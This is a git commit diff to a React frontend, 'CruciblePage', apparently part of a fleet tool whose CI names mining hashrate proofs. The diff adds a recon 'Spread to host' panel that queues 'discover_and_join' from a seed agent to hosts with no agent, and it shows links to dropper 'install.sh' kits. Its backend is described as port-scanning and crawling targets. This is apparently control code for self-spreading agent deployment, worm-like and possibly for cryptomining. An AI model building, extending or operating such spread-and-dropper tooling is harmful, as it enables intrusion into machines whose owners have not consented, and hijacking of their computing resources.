Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
AetherForge
2026-06-07 11:23:10 -07:00
parent 483eafa9dd
commit f3e5a9a07d
40 changed files with 3091 additions and 4 deletions

View File

@@ -1,7 +1,9 @@
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useSearchParams } from 'react-router-dom';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent, AgentService } from '../types';
import type { FleetSpreadToHostResponse, ReconDeployKitResponse } from '../types/recon';
import NeonCard from '../components/NeonCard/NeonCard';
import LatencyBadge from '../components/Fleet/LatencyBadge';
import CreateGroupModal from '../components/Fleet/CreateGroupModal';
@@ -347,9 +349,25 @@ const ROSTER_PAGE_SIZE = 80;
// ── Component ──────────────────────────────────────────────────────────────
function agentMatchesReconHost(agent: Agent, host: string): boolean {
const needle = host.trim().toLowerCase();
if (!needle) return false;
const ip = (agent.ip ?? '').trim().toLowerCase();
const name = agent.name.trim().toLowerCase();
const hostname = (agent.hostname ?? '').trim().toLowerCase();
return ip === needle || name === needle || hostname === needle;
}
export default function CruciblePage() {
const { agents, commandResults, latestMessage } = useWebSocket();
const { setCrucibleFocus } = useMatrixRain();
const [searchParams] = useSearchParams();
const reconHostParam =
searchParams.get('reconHost')?.trim() ||
searchParams.get('spread_host')?.trim() ||
'';
const reconFindingParam = searchParams.get('finding')?.trim() || '';
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
@@ -379,6 +397,15 @@ export default function CruciblePage() {
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
const [activeTab, setActiveTab] = useState<'ops' | 'recon' | 'files' | 'spread' | 'tunnels'>('ops');
const [rosterPage, setRosterPage] = useState(0);
const [manualSpreadHost, setManualSpreadHost] = useState('');
const [deployKit, setDeployKit] = useState<ReconDeployKitResponse | null>(null);
const [spreadToHostResult, setSpreadToHostResult] = useState<FleetSpreadToHostResponse | null>(null);
const [reconSpreadBusy, setReconSpreadBusy] = useState(false);
const [reconSpreadMsg, setReconSpreadMsg] = useState('');
useEffect(() => {
if (searchParams.get('tab') === 'spread') setActiveTab('spread');
}, [searchParams]);
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
@@ -411,6 +438,95 @@ export default function CruciblePage() {
useEffect(() => {
setRosterPage(0);
}, [filters]);
const reconHost = manualSpreadHost.trim() || reconHostParam;
const reconMatchedAgents = useMemo(
() => (reconHost ? agents.filter((a) => agentMatchesReconHost(a, reconHost)) : []),
[agents, reconHost],
);
const reconReachableAgent = useMemo(
() => reconMatchedAgents.find((a) => a.status === 'online') ?? null,
[reconMatchedAgents],
);
const reconHostUnreachable = Boolean(reconHost) && !reconReachableAgent;
useEffect(() => {
const tab = searchParams.get('tab');
if (tab === 'spread' || tab === 'recon' || tab === 'ops' || tab === 'files' || tab === 'tunnels') {
setActiveTab(tab);
}
}, [searchParams]);
useEffect(() => {
if (!reconHostParam) return;
setManualSpreadHost(reconHostParam);
if (searchParams.get('tab') === 'spread') {
setActiveTab('spread');
}
}, [reconHostParam, searchParams]);
useEffect(() => {
if (!reconHost) {
setDeployKit(null);
return;
}
let cancelled = false;
api
.getReconDeployKit({ host: reconHost, finding: reconFindingParam || undefined })
.then((kit) => {
if (!cancelled) setDeployKit(kit);
})
.catch(() => {
if (!cancelled) setDeployKit(null);
});
return () => {
cancelled = true;
};
}, [reconHost, reconFindingParam]);
useEffect(() => {
if (!reconHost || reconMatchedAgents.length === 0) return;
const pick =
reconReachableAgent ??
[...reconMatchedAgents].sort((a, b) => {
if (a.status === 'online' && b.status !== 'online') return -1;
if (a.status !== 'online' && b.status === 'online') return 1;
return 0;
})[0];
if (pick) {
setSelectedIds(new Set([pick.id]));
if (searchParams.get('tab') === 'spread') setActiveTab('spread');
}
}, [reconHost, reconMatchedAgents, reconReachableAgent, searchParams]);
const runSpreadToUnreachableHost = useCallback(async () => {
const host = manualSpreadHost.trim() || reconHostParam;
if (!host) return;
setReconSpreadBusy(true);
setReconSpreadMsg('');
setSpreadToHostResult(null);
try {
const res = await api.postFleetSpreadToHost({
host,
finding: reconFindingParam || deployKit?.join_lane || undefined,
});
setSpreadToHostResult(res);
setReconSpreadMsg(
res.queued
? `Queued discover_and_join from ${res.seed_agent_name ?? res.seed_agent_id ?? 'seed agent'}.`
: (res.operator_note ?? 'Spread recommendation ready — see operator note.'),
);
if (res.seed_agent_id) {
setSelectedIds(new Set([res.seed_agent_id]));
setActiveTab('spread');
}
} catch (e) {
setReconSpreadMsg(e instanceof Error ? e.message : 'Spread-to-host failed');
} finally {
setReconSpreadBusy(false);
}
}, [manualSpreadHost, reconHostParam, reconFindingParam, deployKit?.join_lane]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
@@ -1089,6 +1205,67 @@ export default function CruciblePage() {
<AlsoHere page="/crucible" />
{reconHost && (
<NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
<div className="crucible-section-title font-tech">
<span className="section-ornament"></span> Recon spread target{' '}
<HelpTip field="crucible_recon_host" />
</div>
{reconHostUnreachable ? (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Spread to unreachable host <code className="crucible-code">{reconHost}</code> no online agent on that IP.
Pick a manual target or seed discover from the best online hop on the same subnet.
</p>
) : (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Pre-filtered roster for recon host <code className="crucible-code">{reconHost}</code>
{reconReachableAgent ? `${reconReachableAgent.name} is online.` : '.'}
</p>
)}
<label className="seek-field-label" htmlFor="crucible-manual-spread-host">
Manual IP / hostname target
</label>
<input
id="crucible-manual-spread-host"
type="text"
className="crucible-inline-input crucible-seek-input"
placeholder="10.1.2.50"
value={manualSpreadHost}
onChange={(e) => setManualSpreadHost(e.target.value)}
/>
{deployKit?.join_lane && (
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
Deploy kit lane: <strong>{deployKit.join_lane}</strong>
{deployKit.matched_service ? ` (${deployKit.matched_service})` : ''}
{deployKit.dropper_urls?.install_sh ? (
<>
{' '}
<a href={deployKit.dropper_urls.install_sh} target="_blank" rel="noreferrer">install.sh</a>
</>
) : null}
</p>
)}
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
<button
type="button"
className="button crucible-op-btn btn-cyan"
disabled={reconSpreadBusy || !(manualSpreadHost.trim() || reconHostParam)}
onClick={() => void runSpreadToUnreachableHost()}
>
{reconSpreadBusy ? 'Seeding…' : 'Spread to host'}
</button>
<HelpTip field="fleet_spread_to_host" />
</div>
{reconSpreadMsg && <p className="form-hint" style={{ marginTop: '0.35rem' }}>{reconSpreadMsg}</p>}
{spreadToHostResult?.recommended_command && (
<p className="form-hint font-tech" style={{ marginTop: '0.25rem', fontSize: '0.78rem' }}>
Recommended: {spreadToHostResult.recommended_command}
{spreadToHostResult.seed_agent_name ? ` via ${spreadToHostResult.seed_agent_name}` : ''}
</p>
)}
</NeonCard>
)}
{agents.length > 0 && (
<FleetToolbar
agents={agents}
@@ -1471,6 +1648,7 @@ export default function CruciblePage() {
<div className="crucible-ops-panel">
<CrucibleExpandedOps
activeTab={activeTab}
spreadHostHint={reconHost}
selectedAgents={selectedAgents}
selectedCount={selectedIds.size}
singleSelectedAgent={singleSelectedAgent}